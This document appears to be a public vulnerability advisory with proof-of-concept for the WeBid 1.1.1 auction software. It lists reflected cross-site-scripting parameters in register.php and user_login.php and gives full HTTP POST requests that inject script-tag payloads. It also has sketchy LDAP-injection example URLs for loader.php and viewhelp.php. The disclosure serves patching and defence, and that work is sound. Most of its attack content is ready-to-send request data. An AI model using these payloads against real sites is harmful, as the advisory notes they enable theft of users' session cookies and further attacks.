source: https://www.securityfocus.com/bid/68519/info

WeBid is prone to multiple cross-site-scripting vulnerabilities and an LDAP injection vulnerability.

An attacker may leverage these issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

WeBid 1.1.1 is vulnerable; other versions may also be affected. 

1. http://www.example.com/WeBid/register.php

Reflected Cross-Site Scripting in the parameters are :
 "TPL_name=" 
 "TPL_nick=" 
 "TPL_email" 
 "TPL_year" 
 "TPL_address" 
 "TPL_city" 
 "TPL_prov" 
 "TPL_zip" 
 "TPL_phone" 
 "TPL_pp_email" 
 "TPL_authnet_id" 
 "TPL_authnet_pass" 
 "TPL_wordpay_id" 
 "TPL_toocheckout_id" 
 "TPL_moneybookers_email"
 
PoC :
we can run our xss script with all these different parameters 

Host=www.example.com
User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=en-US,en;q=0.5
Accept-Encoding=gzip, deflate
Referer=http://www.example.com/web-id/register.php
Cookie=WEBID_ONLINE=57e5a8970c4a9df8850c130e44e49160; PHPSESSID=2g18aupihsotkmka8778utvk47
Connection=keep-alive
Content-Type=application/x-www-form-urlencoded
Content-Length=417
POSTDATA=csrftoken=&TPL_name="><script>alert('Hacked By Govind Singh aka NullPort');</script>&TPL_nick=&TPL_password=&TPL_repeat_password=&TPL_email=&TPL_day=&TPL_month=00&TPL_year=&TPL_address=&TPL_city=&TPL_prov=&TPL_country=United+Kingdom&TPL_zip=&TPL_phone=&TPL_timezone=0&TPL_nletter=1&TPL_pp_email=&TPL_authnet_id=&TPL_authnet_pass=&TPL_worldpay_id=&TPL_toocheckout_id=&TPL_moneybookers_email=&captcha_code=&action=first
----------------------------------------------------------------------------------------------------------------
2. http://www.example.com/WeBid/user_login.php

Reflected Cross-Site Scripting in the parameter is :
 "username" 

Host=www.example.com
User-Agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=en-US,en;q=0.5
Accept-Encoding=gzip, deflate
Referer=http://www.example.com/web-id/user_login.php
Cookie=WEBID_ONLINE=e54c2acd05a02315f39ddb4d3a112c1e; PHPSESSID=2g18aupihsotkmka8778utvk47
Connection=keep-alive
Content-Type=application/x-www-form-urlencoded
Content-Length=96
POSTDATA=username="><script>alert('xss PoC By Govind Singh');</script>&password=&input=Login&action=login
==================================================================================================================
2. LDAP Injection 

PoC :
http://www.example.com/WeBid/loader.php?js=[LDAP]
http://www.example.com/WeBid/loader.php?js=js/jquery.js;js/jquery.lightbox.js;

PoC
http://www.example.com/WeBid/viewhelp.php?cat=[LDAP]
Replace cat= as 1,2,3,4